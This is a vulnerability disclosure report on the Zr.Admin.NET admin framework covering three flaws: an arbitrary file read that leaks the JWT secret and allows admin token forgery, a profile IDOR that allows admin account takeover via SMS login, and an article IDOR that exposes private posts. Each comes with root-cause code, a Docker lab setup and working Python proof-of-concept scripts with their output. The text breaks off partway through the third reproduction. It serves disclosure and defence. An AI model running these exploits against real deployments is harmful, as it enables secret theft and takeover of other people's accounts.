# Zr.Admin.NET Vulnerability Report Software: Zr.Admin.NET Developer or vendor: izhaorui Code repository: https://github.com/izhaorui/Zr.Admin.NET ## 1. Arbitrary File Read in the Download Endpoint Leads to Admin Token Forgery (CVE-2026-129464) Brief description: A user with an account can read configuration files on the server and forge an administrator token with the JWT key stored in them. Affected versions: 0ee1ab8a (2023-12-16) to eb9228a2 (2026-10-22) Introduced in: [Zr.Admin.NET commit 0ee1ab8a](https://github.com/izhaorui/Zr.Admin.NET/commit/0ee1ab8af5e3861766746d25acba1184111befcb) Preconditions: The attacker holds an account. ### Root Cause `CommonController.DownloadFile` takes the request parameter `path` as a server file path. The code is: ```csharp // ZR.Admin.WebApi/Controllers/CommonController.cs:220-241 commit eb9228a230 [HttpGet] [ActionPermissionFilter(Permission = "common")] [Log(Title = "下载文件", IsSaveResponseData = false)] public IActionResult DownloadFile(string? path, long fileId = 0) { var tempPath = path; if (fileId > 0) { var fileInfo = SysFileService.GetById(fileId); if (fileInfo != null) { tempPath = fileInfo.FileUrl; } } string fullPath = tempPath; if (tempPath.StartsWith("/") && WebHostEnvironment.IsDevelopment()) { fullPath = Path.Combine(WebHostEnvironment.WebRootPath, tempPath.ReplaceFirst("/", "")); } string fileName = Path.GetFileName(fullPath); return DownFile(fullPath, fileName); } ``` `Permission = "common"` in the permission filter means the endpoint is open to any login, so an account with no roles and no permissions can call it as well (`ZR.ServiceCore/Filters/ActionPermissionFilter.cs:114`). In production `IsDevelopment()` is false, and `path` reaches `DownFile` unchanged: ```csharp // Infrastructure/Controllers/BaseController.cs:109-120 commit eb9228a230 protected IActionResult DownFile(string path, string fileName) { if (!System.IO.File.Exists(path)) { return ToResponse(ResultCode.CUSTOM_ERROR, "文件不存在"); } var stream = System.IO.File.OpenRead(path); //创建文件流 Response.Headers.Append("Access-Control-Expose-Headers", "Content-Disposition"); return File(stream, "application/octet-stream", HttpUtility.UrlEncode(fileName)); } ``` The path is not normalized with `Path.GetFullPath` and is not confined to a base directory, so absolute paths and `../` both work. With `JwtSettings:SecretKey` in hand, a token can be forged. `JwtUtil.ValidateJwtToken` only deserializes the `userdata` claim into `LoginUser`: ```csharp // Infrastructure/JwtUtil.cs:139-155 commit eb9228a230 public static LoginUser? ValidateJwtToken(JwtSecurityToken jwtSecurityToken) { try { if (jwtSecurityToken == null) return null; IEnumerable claims = jwtSecurityToken?.Claims; LoginUser loginUser = null; var userData = claims.FirstOrDefault(x => x.Type == ClaimTypes.UserData)?.Value; if (userData != null) { loginUser = JsonConvert.DeserializeObject(userData); loginUser.ExpireTime = jwtSecurityToken.ValidTo; } return loginUser; } catch (Exception ex) { Console.WriteLine(ex.Message); return null; } } ``` Authorization results then follow the `RoleKeys` and `Permissions` in the token. An attacker can issue a token for `UserId=1` that carries `RoleKeys=["admin"]`, and later requests are handled as an administrator. ### Reproduction Environment The lab builds the image from the Dockerfile in the repository. The `restore` stage of that Dockerfile misses the csproj of `ZR.Workflow`, so add one line before building: ```bash git clone https://github.com/izhaorui/Zr.Admin.NET cd Zr.Admin.NET sed -i 's#COPY \["ZR.Mall/ZR.Mall.csproj", "ZR.Mall/"\]#&\nCOPY ["ZR.Workflow/ZR.Workflow.csproj", "ZR.Workflow/"]#' ZR.Admin.WebApi/Dockerfile docker build -f ZR.Admin.WebApi/Dockerfile -t zradmin-webapi:latest . ``` The official compose file has no database service, so the lab adds MySQL and mounts the configuration into the container: ```yaml services: db: image: mysql:8.0 command: --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci environment: MYSQL_ROOT_PASSWORD: root123456 MYSQL_DATABASE: zrdb healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123456"] interval: 5s timeout: 5s retries: 30 app: image: zradmin-webapi:latest depends_on: db: condition: service_healthy ports: - "1888:8888" volumes: - ./appsettings.Production.json:/app/appsettings.Production.json ``` `appsettings.Production.json` is: ```json { "urls": "http://+:8888", "dbConfigs": [ { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "ConfigId": "0", "IsAutoCloseConnection": true, "DbName": "zrdb" } ], "CodeGenDbConfig": { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "DbName": "zrdb" }, "ModuleInit": { "Workflow": true, "Mall": true, "Member": true }, "workId": "1", "JwtSettings": { "Issuer": "ZRAdmin.NET", "Audience": "ZRAdmin.NET", "SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q", "Expire": 1440, "RefreshTokenTime": 30, "TokenType": "Bearer" }, "SmsOptions": { "Enabled": false } } ``` Initialize the database and start: ```bash docker compose up -d db docker compose run --rm --no-deps app dotnet ZR.Admin.WebApi.dll --initdb docker compose up -d app ``` After the environment is up, log in to the admin panel with `admin/123456`, create an account `low1` with the password `Aa123456!`, and assign no role to it. The login script follows; `login` returns the JWT of the account: ```python import base64, re, requests B = "http://127.0.0.1:1888" def login(user, password): d = requests.get(f"{B}/captchaImage").json()["data"] code = "".join(re.findall(r"]*>(.*?)", base64.b64decode(d["img"].split("base64,", 1)[1]).decode())) return requests.post(f"{B}/login", json={"username": user, "password": password, "code": code, "uuid": d["uuid"]}).json()["data"] ``` ### Reproduction Log in as `low1` and read `/etc/passwd` and the configuration file: ```python import requests B = "http://127.0.0.1:1888" tok = login("low1", "Aa123456!") print("low1 token:", tok) H = {"Authorization": f"Bearer {tok}"} for p in ["/etc/passwd", "/app/appsettings.Production.json"]: r = requests.get(f"{B}/common/DownloadFile", params={"path": p}, headers=H) print(f"\nGET /common/DownloadFile?path={p} -> HTTP {r.status_code}, {len(r.content)} bytes") print(r.text) ``` Output: ``` low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiYTU2ZmI5MmE0MTAzNDhhMjg1NzUxNDliYjEyOGVjYWZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDI1LCJleHAiOjE3OTQ2NjA4MjUsImlhdCI6MTc5NDU3NDQyNSwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.Edp_XAj1bd6Y6HyJHVvcfJSBkfuLBLJrVfVasWHL5VA GET /common/DownloadFile?path=/etc/passwd -> HTTP 200, 874 bytes root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin app:x:1654:1654::/home/app:/bin/sh GET /common/DownloadFile?path=/app/appsettings.Production.json -> HTTP 200, 1320 bytes { "urls": "http://+:8888", "dbConfigs": [ { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "ConfigId": "0", "IsAutoCloseConnection": true, "DbName": "zrdb" } ], "CodeGenDbConfig": { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "DbName": "zrdb" }, "ModuleInit": { "Workflow": true, "Mall": true, "Member": true }, "workId": "1", "JwtSettings": { "Issuer": "ZRAdmin.NET", "Audience": "ZRAdmin.NET", "SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q", "Expire": 1440, "RefreshTokenTime": 30, "TokenType": "Bearer" }, "SmsOptions": { "Enabled": false } } ``` Forge an administrator token with the `SecretKey` just read, then call an administrator endpoint: ```python import base64, hashlib, hmac, json, time, requests B = "http://127.0.0.1:1888" secret = "ZrAdminVulnLabSecretKey20261113-x9Q" def b64(o): return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode() now = int(time.time()) body = {"primarysid": "1", "nameid": "1", "unique_name": "admin", "groupsid": "0", "http://schemas.microsoft.com/ws/2008/06/identity/claims/userdata": json.dumps({"UserId": 1, "UserName": "admin", "DeptId": 0, "RoleKeys": ["admin"], "Permissions": ["*:*:*"]}), "nbf": now, "exp": now + 3600, "iat": now, "iss": "ZRAdmin.NET", "aud": "ZRAdmin.NET"} msg = f"{b64({'alg': 'HS256', 'typ': 'Bearer'})}.{b64(body)}".encode() token = msg.decode() + "." + base64.urlsafe_b64encode( hmac.new(secret.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=") print("forged token:", token) H = {"Authorization": f"Bearer {token}"} print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 2}, headers=H).text) ``` Output: ``` secret: ZrAdminVulnLabSecretKey20261113-x9Q forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOiAxLCBcIlVzZXJOYW1lXCI6IFwiYWRtaW5cIiwgXCJEZXB0SWRcIjogMCwgXCJSb2xlS2V5c1wiOiBbXCJhZG1pblwiXSwgXCJQZXJtaXNzaW9uc1wiOiBbXCIqOio6KlwiXX0iLCJuYmYiOjE3OTQ1NzQ0MjYsImV4cCI6MTc5NDU3ODAyNiwiaWF0IjoxNzk0NTc0NDI2LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.GMX_pluUUjGb4smC1nmnB8lSA0pz5-SY5CDdFmkBkvY GET /system/user/list?pageNum=1&pageSize=2 -> 200 1011B { "code": 200, "msg": "success", "data": { "pageSize": 2, "pageIndex": 1, "totalNum": 1, "totalPage": 1, "result": [ { "userId": 1, "userName": "admin", "nickName": "管理员", "email": null, "remark": "管理员", "phonenumber": null, "avatar": null, "sex": 0, "password": "E10ADC3949BA59ABBE56E057F20F883E", "status": 0, "loginIP": "172.24.0.1", "loginDate": "2026-11-13 20:53:44", "deptId": 0, "leaderId": null, "leaderName": null, "welcomeContent": null, "pwdUpdateTime": null, "twoFactorEnabled": 0, "create_time": "2026-11-13 12:53:33", "create_by": null, "update_time": null, "update_by": null, "isAdmin": true, "deptName": null, "roleIds": null, "postIds": null, "roles": null, "welcomeMessage": "晚上好" } ], "extra": {} } } ``` `isAdmin` is `true`, and the response contains the password hash of the administrator account. ## 2. IDOR in the Profile Endpoint Leads to Administrator Account Takeover (CVE-2026-129465) Brief description: A user with an account can overwrite the phone number of another account and sign in to that account with an SMS code, taking over the administrator account. Affected versions: af07ffc5 (2022-03-04) to eb9228a2 (2026-10-22) Introduced in: [Zr.Admin.NET commit af07ffc5](https://github.com/izhaorui/Zr.Admin.NET/commit/af07ffc5d18e7876d3780d1ff5ee776b80950399) Preconditions: The attacker holds an account, can receive SMS, and knows the UserId of the target account (the administrator is 1 in a default installation). ### Root Cause `SysProfileController.UpdateProfile` reads the whole `SysUserDto` from the request body, `UserId` included: ```csharp // ZR.Admin.WebApi/Controllers/System/SysProfileController.cs:62-75 commit eb9228a230 [HttpPut] [ActionPermissionFilter(Permission = "common")] [Log(Title = "修改信息", BusinessType = BusinessType.UPDATE)] public IActionResult UpdateProfile([FromBody] SysUserDto userDto) { if (userDto == null) { throw new CustomException(ResultCode.PARAM_ERROR, "请求参数错误"); } var user = userDto.Adapt().ToUpdate(HttpContext); int result = UserService.ChangeUser(user); return ToResponse(result); } ``` `ChangeUser` updates by `user.UserId`, and the updated fields include `Phonenumber` and `Status`. The relation between the logged-in user and that `UserId` is not checked: ```csharp // ZR.ServiceCore/Services/SysUserService.cs:220-236 commit eb9228a230 public int ChangeUser(SysUser user) { user.Update_time = DateTime.Now; var result = Update(user, t => new { t.NickName, t.Email, t.Phonenumber, t.DeptId, t.LeaderId, t.Status, t.Sex, t.PostIds, t.Remark, t.Update_by, t.Update_time }, true); ``` `ChangeUserStatus` in the file calls `CheckUserAllowed` (`SysUserService.cs:312-315`), while `ChangeUser` does not. The endpoint accepts only `UserId` and no user name, so the identifier of the target account is needed. In a default installation the administrator is `1`; when the target account has published an article, the anonymous article detail returns the `userId` of the author too. After the phone number is overwritten, the anonymous endpoint `/checkMobile` sends a code to that number, and the anonymous endpoint `/PhoneLogin` issues a token by phone number: ```csharp // ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:470-495 commit eb9228a230 [HttpPost("/checkMobile")] [Log(Title = "发送短息", BusinessType = BusinessType.INSERT)] [AllowAnonymous] public IActionResult CheckMobile([FromBody] PhoneLoginDto dto) { dto.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext); var uid = HttpContext.GetUId(); sysTenantService.CheckTenant(dto.TenantId); if (dto.SendType == 0) { var info = sysUserService.GetFirst(f => f.Phonenumber == dto.PhoneNum) ?? throw new CustomException(ResultCode.CUSTOM_ERROR, "该手机号不存在", false); uid = info.UserId; } ``` ```csharp // ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:516-549 commit eb9228a230 [Route("PhoneLogin")] [HttpPost] [Log(Title = "手机号登录", IsSaveResponseData = false)] [AllowAnonymous] public IActionResult PhoneLogin([FromBody] PhoneLoginDto loginBody) { if (loginBody == null) { throw new CustomException("请求参数错误"); } loginBody.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext); sysLoginService.CheckLockUser(loginBody.PhoneNum); if (!CacheService.CheckPhoneCode(loginBody.PhoneNum, loginBody.PhoneCode)) { sysLoginService.RecordLoginFailure(loginBody.PhoneNum); ... } ``` `PhoneLogin` compares only the phone number and the code, and issues a token for the account that owns the number. ### Reproduction Environment The lab of section 1 is reused. Before each reproduction run `docker compose down -v` to drop the volumes, then initialize again as in section 1. ### Reproduction Log in as `low1`, write its own phone number onto `UserId=1`, and make the server send a code to that number: ```python import requests B = "http://127.0.0.1:1888" low = login("low1", "Aa123456!") print("low1 token:", low) H = {"Authorization": f"Bearer {low}"} r = requests.put(f"{B}/system/user/profile", headers=H, json={ "userId": 1, "nickName": "PWNED", "phonenumber": "13800138000", "status": 0}) print("PUT /system/user/profile ->", r.status_code, r.text.strip()) r = requests.post(f"{B}/checkMobile", json={"phoneNum": "13800138000", "sendType": 0}) print("POST /checkMobile ->", r.status_code, r.text.strip()) ``` Output: ``` low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZTNiYzYxNTkwY2Y5NGJjY2FiNDQ2MTBmYTQ4NjkzZTZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDczLCJleHAiOjE3OTQ2NjA4NzMsImlhdCI6MTc5NDU3NDQ3MywiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.6BVEFcSSNiETvRuYxj_00kIxfQm_8e79WaNbPMxRV3I PUT /system/user/profile -> 200 { "code": 200, "msg": "success" } POST /checkMobile -> 200 { "code": 200, "msg": "success", "data": 1 } ``` Confirm from the database that the administrator record was overwritten: ```bash docker compose exec db mysql -uroot -proot123456 -e \ "select UserId,UserName,NickName,Phonenumber,Status from zrdb.sys_user where UserId in (1,2)" ``` ``` UserId UserName NickName Phonenumber Status 1 admin PWNED 13800138000 0 2 low1 low1 NULL 0 ``` In production the SMS goes to the phone of the attacker. The lab has no real SMS service, so no message arrives. The code is read from the container log: ```bash docker compose exec app sh -c 'grep "模拟短信" logs/all.log | tail -1' ``` ``` 2026-11-13 20:54:33.4671 | 0 | 0HNQ1GL0RU7G6 | INFO | ZR.ServiceCore.Sms.DefaultSmsSender | ::ffff:172.25.0.1 | - | http://127.0.0.1/checkMobile | 【模拟短信】手机号=13800138000,模板=,内容=验证码270025,有效期10分钟。 | | | - ``` Use it to log in: ```python import requests B = "http://127.0.0.1:1888" r = requests.post(f"{B}/PhoneLogin", json={"phoneNum": "13800138000", "phoneCode": "270025"}) print("POST /PhoneLogin ->", r.status_code, r.text.strip()) tok = r.json()["data"] print("\nadmin token:", tok) H = {"Authorization": f"Bearer {tok}"} print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 3}, headers=H).text) ``` Output: ``` POST /PhoneLogin -> 200 { "code": 200, "msg": "success", "data": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk" } admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk GET /system/user/list?pageNum=1&pageSize=3 -> 200 1863B { "code": 200, "msg": "success", "data": { "pageSize": 3, "pageIndex": 1, "totalNum": 2, "totalPage": 1, "result": [ { "userId": 1, "userName": "admin", "nickName": "PWNED", "email": null, "remark": "管理员", "phonenumber": "13800138000", "avatar": null, "sex": 0, "password": "E10ADC3949BA59ABBE56E057F20F883E", "status": 0, "loginIP": "172.25.0.1", "loginDate": "2026-11-13 20:54:35", "deptId": 0, "leaderId": null, "leaderName": null, "welcomeContent": null, "pwdUpdateTime": null, "twoFactorEnabled": 0, "create_time": "2026-11-13 12:54:21", "create_by": null, "update_time": "2026-11-13 12:54:33", "update_by": "low1", "isAdmin": true, "deptName": null, "roleIds": null, "postIds": null, "roles": null, "welcomeMessage": "晚上好" }, { "userId": 2, "userName": "low1", "nickName": "low1", "email": null, "remark": null, "phonenumber": null, "avatar": null, "sex": 0, "password": "836E5D18D15F021BB70D5F97F0A1C0B0", "status": 0, "loginIP": "172.25.0.1", "loginDate": "2026-11-13 20:54:33", "deptId": 0, "leaderId": null, "leaderName": null, "welcomeContent": null, "pwdUpdateTime": null, "twoFactorEnabled": 0, "create_time": "2026-11-13 12:54:32", "create_by": "admin", "update_time": null, "update_by": null, "isAdmin": false, "deptName": null, "roleIds": null, "postIds": null, "roles": null, "welcomeMessage": "晚上好" } ], "extra": {} } } ``` The returned token belongs to `admin`, the `update_by` field is `low1`, and `nickName` has become `PWNED`. ## 3. IDOR Exposes Private Articles (CVE-2026-129455) Brief description: A user with an account can change the pin state and the visibility of articles owned by others, and read the body of a private article after making it public. Affected versions: e6ceaf47 (2024-04-29) to eb9228a2 (2026-10-22) Introduced in: [Zr.Admin.NET commit e6ceaf47](https://github.com/izhaorui/Zr.Admin.NET/commit/e6ceaf47548f1a485f3ba3f4c139905e90fee0a2) Preconditions: The attacker holds an account, and the instance has private articles published by other users. ### Root Cause The two actions were added to the admin `ArticleController` in daef6af0 with the `system:article:update` permission; `FrontArticleController`, added in e6ceaf4, exposes them to every logged-in user. `ChangePublic` only carries `common`, and the ownership check compares against the `userId` of the request body: ```csharp // ZR.Admin.WebApi/Controllers/Content/FrontArticleController.cs:134-152 commit eb9228a230 [HttpPut("changePublic")] [ActionPermissionFilter(Permission = "common")] public IActionResult ChangePublic([FromBody] Article parm) { if (parm == null) { return ToResponse(ResultCode.CUSTOM_ERROR); } var userId = HttpContext.GetUId(); if (userId != parm.UserId) { return ToResponse(ResultCode.CUSTOM_ERROR, "操作失败"); } var response = _ArticleService.ChangeArticlePublic(parm); return SUCCESS(response); } ``` Filling `parm.UserId` with the attacker's own account passes the check, while `ChangeArticlePublic` updates by `Cid` only: ```csharp // ZR.Service/Content/ArticleService.cs:430-438 commit eb9228a230 public int ChangeArticlePublic(Article model) { var response = Update(w => w.Cid == model.Cid, it => new Article() { IsPublic = model.IsPublic, }); return response; } ``` `Top` has no such check (`FrontArticleController.cs:122-131`), and `TopArticle` updates `IsTop` by `Cid` only (`ArticleService.cs:402-410`). The article detail endpoint is anonymous (`FrontArticleController.cs:191-194`), so once a private article is made public, an anonymous request returns its body. ### Reproduction Environment The lab of section 1 is reused. Before each reproduction run `docker compose down -v` to drop the volumes, then initialize again as in section 1. ### Reproduction The administrator publishes a private article: ```python import requests B = "http://127.0.0.1:1888" admin = {"Authorization": f"Bearer {login('admin', '123456')}"} r = requests.post(f"{B}/front/article/publish", headers=admin, json={ "title": "Q3 payroll review", "content": "

CFO salary 480000, bank account 6222 0000 1111 2222

", "isPublic": 0, "isTop": 0}) cid = r.json()["data"]["cid"] print("admin POST /front/article/publish -> cid=%d, isPublic=%d, userId=%d" % (cid, r.json()["data"]["isPublic"], r.json()["data"]["userId"])) ``` Output: ``` admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjk2NDIxODA4NDQ0ZjQ3YWViZjdlNTU5ZDI3YmNjY2M4XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzMzEsImV4cCI6MTc5NDY2MDczMSwiaWF0IjoxNzk0NTc0MzMxLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.sn7FtFWfhYaJM5Nd66250nEuwrylyIWYD3uxU2xXw8Q low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZDZkNGNmYTVhYzI3NGZjMmFhNDM3NTJlMWUzYmQwYzNcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0MzMyLCJleHAiOjE3OTQ2NjA3MzIsImlhdCI6MTc5NDU3NDMzMiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.jVLpmqhY2IjEhhstzG8pXD6s4qnxnhiCKXt1T0IaFTs admin POST /front/article/publish -> cid=1, isPublic=0, userId=1 ``` An anonymous request for the article fails: ```python r = requests.get(f"{B}/front/article/1") print(r.status_code, r.text) ``` ``` 200 { "code": 110, "msg": "访问失败" } ``` `low1` fills its own `userId` into the request body and makes the private article public: ```python low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.put(f"{B}/front/article/changePublic", headers=low, json={"cid": 1, "userId": 2, "isPublic": 1}) print("changePublic ->", r.status_code, r.text.strip()) ``` ``` changePublic -> 200 { "code": 200, "msg": "success", "data": 1 } ``` An anonymous request returns the body: ```python r = requests.get(f"{B}/front/article/1") print(r.status_code, r.text) ``` ``` 200 { "code": 200, "msg": "success", "data": { "cid": 1, "title": "Q3 payroll review", "content": "

CFO salary 480000, bank account 6222 0000 1111 2222

